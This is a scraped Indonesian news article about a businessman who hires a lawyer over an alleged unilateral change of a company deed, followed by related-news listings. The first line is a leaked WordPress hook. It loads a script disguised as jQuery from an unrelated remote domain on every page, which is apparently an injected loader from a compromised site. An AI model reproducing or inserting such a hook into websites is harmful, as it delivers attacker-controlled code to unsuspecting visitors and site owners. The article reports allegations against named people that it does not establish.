add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Soal Dugaan Pemalsuan Dokumen Oleh YDS, MRA Resmi Tunjuk Gindha Ansori Wayka Sebagai Kuasa Hukum - Atmosfirnews.id

Soal Dugaan Pemalsuan Dokumen Oleh YDS, MRA Resmi Tunjuk Gindha Ansori Wayka Sebagai Kuasa Hukum

- Jurnalis

Kamis, 10 April 2025 - 22:42 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung, Atmosfirnews.id

Maulana Riansah Ansyori (MRA) resmi menunjuk Gindha Ansori Wayka sebagai kuasa hukum terkait tindak pidana dugaan perubahan akta perusahaan yang dilakukan secara sepihak oleh YDS.

Penunjukan Gindha Ansori Wayka selaku kuasa hukum dilakukan di Kantor Hukum Gindha Ansori Wayka & Rekan (Law Office GAW), pada Rabu (09/04/25).

Untuk diketahui, YDS diduga melakukan tindakan diluar kewenangannya dengan mendatangi notaris BPY dan meminta untuk membuat akta perubahan PT. Pers News Cyber Indonesia pada tanggal 20 Januari 2025.

PT. Pers News Cyber Indonesia didirikan pada tanggal 14 Desember 2023 dengan komposisi Direktur adalah Irham Afifi (Adik Ipar YDS) dan Komisaris Maulana Riansah Ansyori.

Baca Juga :  Jempol Buat 36 Anggota Ditlantas Polda Lampung Sukses Lakukan Pengawalan PON XXI

Berdasarkan akta pendirian awal, YDS tidak masuk dalam pihak-pihak yang berkepentingan atau bertanggung jawab.

Kemudian tanpa pemberitahuan pemegang saham, YDS merubah para nama pemegang saham yakni Direktur tetap dijabat oleh Irham Afifi dan mengganti Maulana Riansah Ansyori dengan M. Youngky Oktara.

Merasa dirugikan atas dugaan tindakan melanggar hukum yang dilakukan YDS, MRA memberikan kuasa penuh untuk mendampingi dan membela kepentingan hukum berkaitan dengan dugaan pemalsuan dokumen dan praktik maladministrasi pada perubahan akta Perseroan Terbatas Pers News Cyber Indonesia.

Baca Juga :  DPP Akar Lampung Apresiasi Gubernur Hadirkan Bhayangkara FC Tanpa APBD

Dalam hal ini, Pengacara Gindha Ansori Wayka mengatakan akan mengambil langkah-langkah sesuai dengan prosedur hukum yang berlaku.

“Setelah menerima konsultasi dari saudara MRA, sekiranya hal ini perlu ditindaklanjuti,” ujarnya.

Kemudian, dalam waktu dekat seusai pemberian kuasa, pengacara Gindha akan melayangkan somasi ke YDS dan juga Notaris yang diduga terlibat untuk setelahnya dapat dimintai keterangan.

“Secepatnya akan kita layangkan somasi ke para pihak,” pungkasnya.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 24 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru